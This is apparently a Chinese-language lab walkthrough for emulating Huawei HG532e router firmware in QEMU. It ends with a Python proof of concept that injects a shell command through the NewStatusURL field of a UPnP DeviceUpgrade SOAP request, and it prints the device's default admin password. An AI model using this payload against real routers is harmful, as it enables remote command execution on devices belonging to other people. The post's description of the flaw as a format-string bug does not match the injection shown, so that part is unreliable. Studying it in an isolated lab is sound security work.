尝试binwalk提取文件系统:
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
1.遇到binwalk提取文件为空,报错中含有sasquatch,大概率是没有安装该插件,安装以下链接步骤进行安装,clone的时候可能需要挂vpn
https://blog.csdn.net/QQ1084283172/article/details/68942660
这里有一个大坑,如果你们的Ubantu虚拟机版本过高,那么gcc编译会失败,可能是gcc冲突了,所以别用22版本的!!!
git 显示拒绝克隆
1 查看是否有代理被占用
git config --global http.proxy
2 取消代理
git config --global --unset http.proxy
https://blog.csdn.net/qq_41333880/article/details/83999834
首先在解包的文件系统中找一个可执行文件,使用file命令查看一下系统架构等信息
启动QEMU的时候需要使用MIPS的内核以及文件系统:
网址
https://people.debian.org/~aurel32/qemu/mips/
mips文件中的内容利用wget指令一个个下载
真正的”人工智能“
首先是在宿主机中配置tap网络
sudo tunctl -t tap0 -u root
sudo ifconfig tap0 192.168.3.1/24
sudo ifconfig
这里可以看到tap0 的Ip已经变成了 192.168.3.1
冷知识
Windos下用ipconfig,linux下用ifconfig
sudo qemu-system-mips -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s
这里密码都是root
这里记得不要把这个窗口关掉
ifconfig eth0 192.168.3.2
为了方便上传解包的文件系统,我们这里先用tar将文件系统打包
这里注意我们的路径
tar -czvf file.tar squashfs-root/
使用SCP传输文件
scp file.tar [email protected]:/root/
在QEMU仿真机中解压
这里用到的窗口时我们刚刚启动的qemu
挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备
注意输入这些命令的路径
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh
通过ssh连接qemu,并启动路由器「此处需要再次执行chroot」
这里我时我是用两个窗口(一个qemu终端,一个是用来ssh连接的窗口)
在ssh连接窗口
./bin/upnp
./bin/mic
换成我们qemu终端,查看ip地址
这个时候再使用浏览器访问192.168.3.2即可
但发现火狐浏览器版本太高,安全协议过不去试了几种方法都不行
下个ie
https://blog.csdn.net/zhq56030207/article/details/5997316
我这边下不了ie
那就装个低版本火狐
wget http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/46.0.1/linux-x86_64/en-US/firefox-46.0.1.tar.bz
但好像下不下来,但可以右键之后open link下载,之后解压就可以打开了
终于见面了
账号密码分别为:admin / @Hua1234,存在于固件压缩包的账号密码文件内
这里存在的漏洞是一个格式化字符串漏洞后拼接导致的任意代码执行
利用poc
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
代码执行
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)